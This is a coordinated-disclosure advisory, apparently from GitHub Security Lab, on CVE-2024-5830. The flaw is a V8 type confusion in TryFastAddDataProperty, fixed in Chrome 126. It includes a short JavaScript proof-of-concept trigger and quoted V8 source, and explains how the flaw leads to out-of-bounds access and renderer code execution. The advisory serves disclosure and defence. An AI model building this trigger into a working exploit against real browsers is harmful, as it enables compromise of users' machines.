Coordinated Disclosure Timeline
- 2024-05-24: Issue reported to Chromium security team as bug 342456991
- 2024-06-11: Issue fixed in Chrome version 126.0.6478.56/57 as CVE-2024-5830.
Summary
Type confusion between fast and dictionary objects in TryFastAddDataProperty
in v8
Project
Chromium
Tested Version
M125
Details
Type confusion in TryFastAddDataProperty (GHSL-2024-095
)
When cloning an object using FastAssign
, if the source object has an accessor
, it’ll be called to get the property value that is then used in the call of CreateDataProperty
. A malicious accessor
can cause the map
of the target to become deprecated:
var x = {};
x.a0 = 1;
var x1 = {};
x1.a0 = 1;
//Creates a transition from map {a0} to {a0, prop}
x1.prop = 1;
x.__defineGetter__("prop", function() {
let obj = {};
obj.a0 = 1.5; //<------ map of x and x1 are now deprecated
return 1;
});
x.z = 1;
delete x.z;
//Cloning calls accessor `prop` of x before calling `CreateDataProperty` to create property `prop` on target
var y = {...x};
CreateDataProperty
then uses TryFastAddDataProperty
to add the property prop to the target object:
bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
Handle<Name> name, Handle<Object> value,
PropertyAttributes attributes) {
Tagged<Map> map =
TransitionsAccessor(isolate, object->map())
.SearchTransition(*name, PropertyKind::kData, attributes);
if (map.is_null()) return false;
...
new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
PropertyConstness::kConst, value);
...
object->WriteToField(descriptor,
new_map->instance_descriptors()->GetDetails(descriptor),
*value);
return true;
}
TryFastAddDataProperty
first searches for a transition map to property prop. This will find the map
of x1
, which is also deprecated. The deprecated map is then passed to Map::PrepareForDataProperty
, which will try to update it:
Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map,
InternalIndex descriptor,
PropertyConstness constness,
Handle<Object> value) {
// Update to the newest map before storing the property.
map = Update(isolate, map);
// Dictionaries can store any property value.
DCHECK(!map->is_dictionary_map());
return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);
However, as pointed out in bug 40062884, updating a deprecated map can cause it to become a dictionary map. As the call WriteToField
in TryFastAddDataProperty
still assumes new_map
is a fast map, it’ll use FastPropertyAtPut
to write the property:
void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
Tagged<Object> value) {
...
FieldIndex index = FieldIndex::ForDetails(map(), details);
if (details.representation().IsDouble()) {
...
} else {
FastPropertyAtPut(index, value);
}
}
When new_map
becomes a dictionary map due to the update, this will cause a type confusion between PropertyArray
and NameDictionary
and can cause internal properties of the NameDictionary
to be overwritten, which can then be used to cause OOB access from the NameDictionary
.
Impact
This issue can be exploited to gain RCE in the Chrome renderer sandbox
CVE
- CVE-2024-5830
Credit
This issue was discovered and reported by GHSL team member @m-y-mo (Man Yue Mo).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-095
in any communication regarding this issue.